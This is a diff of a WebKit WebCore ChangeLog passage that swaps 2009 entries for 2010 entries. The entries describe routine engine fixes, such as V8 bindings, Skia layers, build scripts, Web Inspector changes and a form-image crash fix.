-        * bindings/v8/custom/V8ClipboardCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomBinding.cpp:
-        (WebCore::allowSettingFrameSrcToJavascriptUrl):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::V8Custom::GetTargetFrame):
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::V8EventListener):
-        (WebCore::V8EventListener::~V8EventListener):
-        (WebCore::V8EventListener::callListenerFunction):
+        * bindings/v8/custom/V8CustomPositionCallback.cpp:
+        * bindings/v8/custom/V8CustomPositionErrorCallback.cpp:
         * bindings/v8/custom/V8CustomSQLStatementCallback.cpp:
-        (WebCore::V8CustomSQLStatementCallback::handleEvent):
         * bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp:
-        (WebCore::V8CustomSQLStatementErrorCallback::handleEvent):
         * bindings/v8/custom/V8CustomSQLTransactionCallback.cpp:
-        (WebCore::V8CustomSQLTransactionCallback::handleEvent):
         * bindings/v8/custom/V8CustomSQLTransactionErrorCallback.cpp:
-        (WebCore::V8CustomSQLTransactionErrorCallback::handleEvent):
-        * bindings/v8/custom/V8CustomVoidCallback.cpp:
-        (WebCore::V8CustomVoidCallback::handleEvent):
-        (WebCore::invokeCallback):
-        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
-        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/v8/custom/V8DOMParserConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        (WebCore::convertBase64):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::createWindow):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::V8Custom::ClearTimeoutImpl):
-        (WebCore::NAMED_ACCESS_CHECK):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        * bindings/v8/custom/V8DatabaseCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
         * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8DocumentLocationCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
         * bindings/v8/custom/V8ElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
         * bindings/v8/custom/V8EventCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
         * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        (WebCore::getItem):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
         * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
         * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
         * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_SETTER):
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
         * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::INDEXED_ACCESS_CHECK):
-        (WebCore::NAMED_ACCESS_CHECK):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
         * bindings/v8/custom/V8MessageChannelConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
         * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8NavigatorCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8NodeIteratorCustom.cpp:
-        (WebCore::toV8):
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8NodeListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SVGLengthCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
         * bindings/v8/custom/V8SVGMatrixCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8StyleSheetListCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
         * bindings/v8/custom/V8TreeWalkerCustom.cpp:
-        (WebCore::toV8):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::SetTimeoutOrInterval):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLSerializerConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XPathEvaluatorConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
         * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
 
-2009-06-26  Kevin McCullough  <kmccullough@apple.com>
+2010-02-02  Garret Kelly  <gdk@chromium.org>
 
-        Reviewed by Tim Hatcher.
+        Reviewed by David Levin.
 
-        <rdar://problem/7011047> Profiler shows the record button 'on' even
-        though it's finished
+        When using the Skia graphics context, the beginTransparencyLayer call
+        currently creates a new layer, but does not keep the current
+        compositing mode for use when merging the created layer back onto the
+        rest of the context. This patch fixes that.
+        https://bugs.webkit.org/show_bug.cgi?id=34491
 
-        I consolidated the creation of the user initiated profile name into
-        its own function and then called it from console::profile instead of
-        calling startUserInitiatedProfiling().  This way we don't call
-        toggleRecordButton() which turns on the record button.
+        fast/backgrounds/svg-as-mask.html is affected by this change in Chromium,
+        but not fixed. This is the first of a series of patches to fix it.
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::getCurrentUserInitiatedProfileName):
-        (WebCore::InspectorController::startUserInitiatedProfiling):
-        (WebCore::InspectorController::stopUserInitiatedProfiling):
-        * inspector/InspectorController.h:
-        * page/Console.cpp:
-        (WebCore::Console::profile):
-        (WebCore::Console::profileEnd):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::beginTransparencyLayer):
+        * platform/graphics/skia/PlatformContextSkia.h:
 
-2009-06-26  Jeremy Moskovich  <jeremy@chromium.org>
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26691
+        Use WTF::getLocalTime instead of localtime_r in FTPDirectoryDocument
+        https://bugs.webkit.org/show_bug.cgi?id=34409
 
-        Cleanup: Move focusRingColor to RenderTheme.
+        Platform guards for localtime_r are not needed because we already have
+        WTF::getLocalTime which does the same thing.
 
-        Most of this CL involves deleting files and removing dead code.
-
-        focusRingColor() is now defined in RenderTheme rather than in
-        misc. places on each port.  The default color is specified as
-        black in renderTheme and ports can override it in their own
-        custom renderThemes.
-
-        Behavior should be identical except for the following cases,
-        this lists platform and what the focus ring color used to be
-        before this cl and the file where it used to be defined:
-
-        Android - red
-        WebCore/platform/android/TemporaryLinkStubs.cpp
-
-        Cairo - aqua focus ring color - 0xFF7DADD9
-        WebCore/platform/graphics/cairo/GraphicsContextCairo.cpp
-
-        wx - red
-        WebCore/platform/wx/TemporaryLinkStubs.cpp
+        * loader/FTPDirectoryDocument.cpp:
+        (WebCore::processFileDateString):
+        * loader/FTPDirectoryParser.cpp:
+        (WebCore::gmtimeQt):
 
-        QT - black
-        WebCore/platform/graphics/qt/GraphicsContextQt.cpp
+2010-02-02  Adam Roben  <aroben@apple.com>
 
-        Manual test: manual-tests/focusringcolor-change-on-theme-change.html
+        Copy WebCore's bindings generation scripts to the PrivateHeaders
+        directory on Mac
 
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue):
-        * manual-tests/focusringcolor-change-on-theme-change.html: Added.
-        * platform/android/TemporaryLinkStubs.cpp:
-        * platform/graphics/cairo/GraphicsContextCairo.cpp:
-        * platform/graphics/chromium/ColorChromium.cpp: Removed.
-        * platform/graphics/chromium/ColorChromiumMac.mm: Removed.
-        * platform/graphics/mac/ColorMac.h:
-        * platform/graphics/mac/ColorMac.mm:
-        (WebCore::oldAquaFocusRingColor):
-        (WebCore::setUsesTestModeFocusRingColor):
-        (WebCore::usesTestModeFocusRingColor):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawFocusRing):
-        * platform/graphics/win/ColorSafari.cpp: Removed.
-        * platform/wx/TemporaryLinkStubs.cpp:
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::focusRingColor):
-        * rendering/RenderTheme.h:
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::focusRingColor):
-        (WebCore::RenderThemeChromiumMac::systemColor):
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::focusRingColor):
-        * rendering/RenderThemeChromiumSkia.h:
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::focusRingColor):
-        (WebCore::RenderThemeMac::systemColor):
-        * rendering/RenderThemeSafari.cpp:
-        (WebCore::makeRGBAFromCGColor):
-        (WebCore::RenderThemeSafari::focusRingColor):
-        * rendering/RenderThemeSafari.h:
+        This will allow other projects to use these scripts.
 
-2009-06-26  Dmitry Titov  <dimich@chromium.org>
+        Fixes <http://webkit.org/b/34498>.
 
-        Reviewed by David Levin.
+        Reviewed by Mark Rowe.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26761
-        [Chromium] Enable Dedicated Workers in Chromium.
+        * WebCore.xcodeproj/project.pbxproj: Added the bindings generation
+        scripst to the Copy Headers phase, and marked them as Private.
 
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        Remove the check that prevented workers from being created w/o a command-line switch.
-        The flag itself and methods will be removed in a subsequent patch, after
-        corresponding change in Chromium.
+2010-02-02  Adam Roben  <aroben@apple.com>
 
-2009-06-26  Jessie Berlin  <jberlin@apple.com>
+        Copy WebCore's bindings generation scripts to a more sensible location
 
-        Reviewed by Mark Rowe.
-        
-        Fix: https://bugs.webkit.org/show_bug.cgi?id=26723
-        Where the m_mouseDown event was never being set on windows, so the
-        client X and Y coordinates were always being reported as zero in a
-        dragstart handler.
+        Part of Bug 34496: Clean up WebCore's IDL/script copying
+        <https://bugs.webkit.org/show_bug.cgi?id=34496>
 
-        Test: editing/selection/drag-start-event-client-x-y.html
+        Reviewed by Steve Falkenburg.
 
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMousePressEvent):
-        Set the m_mouseDown event when the mouse press is handled.
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::mouseDown):
-        Removed now redundant setting of m_mouseDown.
+        * WebCore.vcproj/WebCore.make:
+        * WebCore.vcproj/WebCoreGenerated.vcproj:
+        Instead of copying to obj/WebKit/DOMInterfaces, copy to obj/WebCore/scripts.
 
-2009-06-26  Brady Eidson  <beidson@apple.com>
+2010-02-02  Adam Roben  <aroben@apple.com>
 
-        Tiger build fix
+        Rename the scripts used to copy WebCore's bindings generation scripts
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (swizzleMIMETypeMethodIfNecessary):
+        Part of Bug 34496: Clean up WebCore's IDL/script copying
+        <https://bugs.webkit.org/show_bug.cgi?id=34496>
 
-2009-06-26  Alexey Proskuryakov  <ap@webkit.org>
+        Reviewed by Steve Falkenburg.
 
-        Reviewed by Sam Weinig.
+        * WebCore.vcproj/MigrateScripts: Renamed from WebCore/WebCore.vcproj/MigrateIDLAndScripts.
+        * WebCore.vcproj/migrate-scripts.sh: Renamed from WebCore/WebCore.vcproj/migrate-idls.sh.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26681
-        Problem updating applicationCache when server returns 304
-        
-        Improve the fix, make the test pass on Tiger.
+        * WebCore.vcproj/WebCoreGenerated.vcproj: Updated for renames.
 
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::didReceiveResponse): Fix another code path to remove the
-        current item from list.
+2010-02-02  Adam Roben  <aroben@apple.com>
 
-        * platform/network/mac/ResourceHandleMac.mm: (WebCore::ResourceHandle::start): On Tiger,
-        conditional requests that cannot be cached by network layer cause errors with default cache
-        policy.
+        Stop copying IDL files into $(WebKitOutputDir)
 
-2009-06-26  Brady Eidson  <beidson@apple.com>
+        No one uses these anymore (as of r52921).
 
-        Reviewed by Sam Weinig
+        Part of Bug 34496: Clean up WebCore's IDL/script copying
+        <https://bugs.webkit.org/show_bug.cgi?id=34496>
 
-        <rdar://problem/6961578> REGRESSION (r43511): Opening .fdf files from Acrobat Professional fails
+        Reviewed by Steve Falkenburg.
 
-        When we disabled content sniffing for file urls we lost knowledge of many file extensions that we
-        didn't intend to lose.  Turns out the CoreTypes UTI database doesn't know about every extension Gatekeeper
-        knew about.
+        * WebCore.vcproj/MigrateIDLAndScripts: Don't copy the IDL files
+        anymore. Keep copying the scripts, though, since other projects
+        (outside of the WebKit repository) do use those.
 
-        By comparing CoreTypes' database to Gatekeepers, this patch adds a hardcoded list of file extension to MIME
-        type mappings that are missing in CoreType's database.
+2010-02-02  Bryan Yeung  <bryeung@google.com>
 
-        Test: platform/mac/fast/loader/file-url-mimetypes.html
+        Reviewed by Darin Adler.
 
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): Move the MIME Type swizzling code to
-          WebCoreURLResponse.
-
-        * platform/network/mac/ResourceResponseMac.mm:
-        (WebCore::ResourceResponse::platformLazyInit): _webcore_MIMEType -> MIMEType, as we now have only one place
-          where we do all MIMEType correction.
-
-        * platform/network/mac/WebCoreURLResponse.h: Remove _webcore_MIMEType, as it is now folded into the swizzled
-          implementation of MIMEType.
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (createBinaryExtensionsSet):
-        (createExtensionToMIMETypeMap):
-        (swizzleMIMETypeMethodIfNecessary):
-        (webNSURLResponseMIMEType): If it's a file URL and there's no MIME type, see if the extension exists in the 
-          extension -> MIME type map before turning to the default MIME type.  Also roll in what was previously
-          implemented in _webcore_MIMEType.
+        Avoid using an invalidated KURL object in baseURI.
 
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::~SVGImage): Tweak this ASSERT - SVGImages might get destroyed without ever having a client.
+        https://bugs.webkit.org/show_bug.cgi?id=34492
 
-2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+        This change fixes baseURI for Chromium (where the KURL implementation
+        does not allow invalid KURLs to carry relative paths).  This is
+        regression tested by
+        LayoutTests/svg/W3C-SVG-1.1/struct-image-07-t.svg
 
-        Reviewed by Simon Fraser.
+        * dom/Element.cpp:
+        (WebCore::Element::baseURI):
 
-        Show the fullscreen button only if the backend has support for it.
+2010-02-02  Alexey Proskuryakov  <ap@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26661
+        Reviewed by Darin Adler.
 
-        No test since this is not reachable via the DOM.
+        https://bugs.webkit.org/show_bug.cgi?id=34076
+        <rdar://problem/7594601> Crash in mangleme in WebCore::Element::getAttribute
 
-        * html/HTMLMediaElement.h:
-        (WebCore::HTMLMediaElement::supportsFullscreen): new
-        * html/HTMLVideoElement.h:
-        (WebCore::HTMLVideoElement::supportsFullscreen): new
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::supportsFullscreen): new
-        (WebCore::MediaPlayer::supportsFullscreen): new
-        * platform/graphics/MediaPlayer.h: new
-        * platform/graphics/MediaPlayerPrivate.h: new
-        (WebCore::MediaPlayerPrivateInterface::supportsFullscreen): new
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlFullscreenButtonElement::rendererIsNeeded): new
-        * rendering/MediaControlElements.h:
+        Test: fast/forms/misplaced-img-form-registration.html
 
-2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::registerImgElement): Assert that the same image isn't added
+        to vector again.
+        (WebCore::HTMLFormElement::removeImgElement): Similarly, assert that we're removing something
+        that's actually registered.
 
-        Reviewed by Simon Fraser.
+        * html/HTMLImageElement.cpp: (WebCore::HTMLImageElement::~HTMLImageElement): If parser fails
+        to insert the image element, then there will be no removed from tree notification either,
+        need to unregister right away.
 
-        <rdar://problem/7007776> Controller doesn't automatically update counters when file
-        is playing ( http://www.jazzguitar.be/mp3/Michael%20Lewis%20-%20SSSJ.mp3 )
+2010-02-02  Alexander Pavlov  <apavlov@chromium.org>
 
-        Update the time display when the movie time changes.
+        Reviewed by Pavel Feldman.
 
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::updateControls):
+        Web Inspector: Eliminate some of the platform flavor-specific stylesheet selectors
 
-2009-06-25  Pierre d'Herbemont  <pdherbemont@apple.com>
+        Extract OS version into WebInspector.platformFlavor
+        https://bugs.webkit.org/show_bug.cgi?id=34469
 
-        Reviewed by Simon Fraser.
+        * inspector/front-end/InspectorBackendStub.js:
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        (.WebInspector.InspectorFrontendHostStub.prototype.platform):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.pendingDispatches.0.URLRegExp.i.get platform):
+        (WebInspector.get platformFlavor):
+        (WebInspector._detectPlatformFlavor):
+        (WebInspector.loaded):
+        (WebInspector.toolbarDragStart):
+        (WebInspector.isMac):
 
-        https://bugs.webkit.org/show_bug.cgi?id=26659
+2010-02-02  Steve Block  <steveblock@google.com>
 
-        Support hidding a control bar element from the Media element controller.
+        Reviewed by Ariya Hidayat.
 
-        Update layout tests since the fullscreen button no longer has a renderer.
+        Adds utility functions for converting between JavaInstance and NPAPI types
+        https://bugs.webkit.org/show_bug.cgi?id=34468
 
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaTextDisplayElement::update): call updateStyle() so everything
-        is updated properly.
-        (WebCore::MediaControlInputElement::MediaControlInputElement):
-        (WebCore::MediaControlInputElement::update): call updateStyle()
-        (WebCore::MediaControlInputElement::updateStyle): create the renderer properly
-        or not depending on what rendererIsNeeded() return.
-        * rendering/MediaControlElements.h:
+        This is required by Android for injecting objects into V8 JavaScript.
 
-2009-06-26  Kevin McCullough  <kmccullough@apple.com>
+        No new tests, added utility functions only.
 
-        Reviewed by Oliver Hunt.
+        * Android.v8bindings.mk: Modified. Added JavaNPObjectV8.cpp
+        * bridge/jni/v8/JavaNPObjectV8.cpp: Added.
+        (JSC::Bindings::AllocJavaNPObject):
+        (JSC::Bindings::FreeJavaNPObject):
+        (JSC::Bindings::):
+        (JSC::Bindings::JavaInstanceToNPObject):
+        (JSC::Bindings::ExtractJavaInstance):
+        (JSC::Bindings::JavaNPObjectHasMethod):
+        (JSC::Bindings::JavaNPObjectInvoke):
+        (JSC::Bindings::JavaNPObjectHasProperty):
+        (JSC::Bindings::JavaNPObjectGetProperty):
+        * bridge/jni/v8/JavaNPObjectV8.h: Added.
 
-        <rdar://problem/6968137> Profiler title numbers increment even after a
-        reload.
+2010-02-02  Benjamin Poulain  <benjamin.poulain@nokia.com>
 
-        - Now the numbers are reset when the profiles are.
+        Reviewed by Ariya Hidayat.
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didCommitLoad):
+        [Qt] Symbian plugins include a wrong header file for QPixmap
+        https://bugs.webkit.org/show_bug.cgi?id=34475
 
-2009-06-26  Adele Peterson  <adele@apple.com>
+        * plugins/symbian/PluginViewSymbian.cpp:
 
-        Reviewed by Darin Adler.
+2010-02-02  Pavel Feldman  <pfeldman@chromium.org>
 
-        Fix for <rdar://problem/7000796>
-        REGRESSION(34681): Breaking up quoted text makes new, unquoted text blue after certain steps; repros with some messages
+        Reviewed by Timothy Hatcher.
 
-        Test: editing/inserting/break-blockquote-after-delete.html
+        Web Inspector: URLs are not syntax-higlighted as links in source view.
 
-        Keep track of whether the typing style should be preserved after the TypingCommand is applied.  When adding onto an open
-        typing command, keep that flag up to date.
+        This change enables linkifier in the NativeTextViewer. It adds
+        "linkify" and "a_node" parse states into the highlighter in order
+        to detect links and distinguish between resource and external ones.
+        Contains drive-by fix for the webkit-html-* styles and moves them to the
+        common location.
 
-        In this case, an InsertParagraphSeparatorInQuotedContent command, which should not preserve typing style, 
-        was following an open Delete command, which does preserve the typing style.  So we were applying the original
-        typing style (from before the delete, so blue text) to the cursor in the unquoted area after breaking up the blockquote.
+        https://bugs.webkit.org/show_bug.cgi?id=34364
 
-        * editing/TypingCommand.cpp:
-        (WebCore::TypingCommand::TypingCommand):
-        (WebCore::TypingCommand::typingAddedToOpenCommand):
-        (WebCore::TypingCommand::insertTextRunWithoutNewlines):
-        (WebCore::TypingCommand::insertLineBreak):
-        (WebCore::TypingCommand::insertParagraphSeparator):
-        (WebCore::TypingCommand::insertParagraphSeparatorInQuotedContent):
-        (WebCore::TypingCommand::deleteKeyPressed):
-        (WebCore::TypingCommand::forwardDeleteKeyPressed):
-        (WebCore::TypingCommand::deleteSelection):
-        (WebCore::TypingCommand::updatePreservesTypingStyle):
-        * editing/TypingCommand.h: (WebCore::TypingCommand::preservesTypingStyle):
+        * inspector/front-end/NativeTextViewer.js:
+        (WebInspector.NativeTextViewer):
+        (WebInspector.NativeTextViewer.prototype._createSpan):
+        (WebInspector.NativeTextViewer.prototype._createLink):
+        (WebInspector.NativeTextViewer.prototype._rewriteHref):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.setContent):
+        (WebInspector.SourceFrame.prototype._createEditorIfNeeded):
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype._isExpectingAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._isExpectingAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._setExpectingAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._setExpectingAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._stringToken):
+        (WebInspector.SourceHTMLTokenizer.prototype._attrValueTokenType):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype._contentLoaded):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspectorSyntaxHighlight.css:
 
-2009-06-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+2010-02-02  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Ariya Hidayat.
 
-        Add support for saving and loading of QWebHistory to and from a QByteArray.
+        [Qt] Install libraries and headers in package builds
+        https://bugs.webkit.org/show_bug.cgi?id=34325
 
-        This includes streaming operators for QWebHistory. for convenience.
+        Add the QtWebKit libraries to the installable items, except on
+        Symbian where the libraries are always linked in their final
+        destination.
 
-        New autotests that test QWebHistory and QWebHistoryItem serialization.
+        Also include the headers generated by syncqt in the installation.
 
         * WebCore.pro:
-        * history/HistoryItem.h:
-        (WebCore::HistoryItem::dailyVisitCounts):
-        (WebCore::HistoryItem::weeklyVisitCounts):
-        * history/qt/HistoryItemQt.cpp: Added.
-        (WebCore::HistoryItem::restoreState):
-        (WebCore::HistoryItem::saveState):
-
-2009-06-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
 
-        Reviewed by Simon Hausmann.
+2010-02-02  Kavita Kanetkar  <kkanetkar@chromium.org>
 
-        Add support for QDataStream operators to String and IntPoint.
-
-        * platform/graphics/IntPoint.h:
-        (WebCore::operator<<):
-        (WebCore::operator>>):
-        * platform/text/PlatformString.h:
-        * platform/text/qt/StringQt.cpp:
-        (WebCore::operator<<):
-        (WebCore::operator>>):
-
-2009-06-26  Ben Murdoch  <benm@google.com>
+        Reviewed by Dmitry Titov.
 
-        Reviewed by Darin Fisher.
+        [V8] Raising an exception while setting timeout/interval from a detached frame
+        https://bugs.webkit.org/show_bug.cgi?id=34453
+        This fixes the issue/failing test mentioned in Chromium bug:
+        http://code.google.com/p/chromium/issues/detail?id=32671
 
-        Add #if ENABLE(DOM_STORAGE) to the V8 custom bindings for local/session storage.
-        https://bugs.webkit.org/show_bug.cgi?id=26757
 
-        * bindings/v8/custom/V8StorageCustom.cpp
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::WindowSetTimeoutImpl):
 
-2009-06-26  Yongjun Zhang  <yongjun.zhang@nokia.com>
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
 
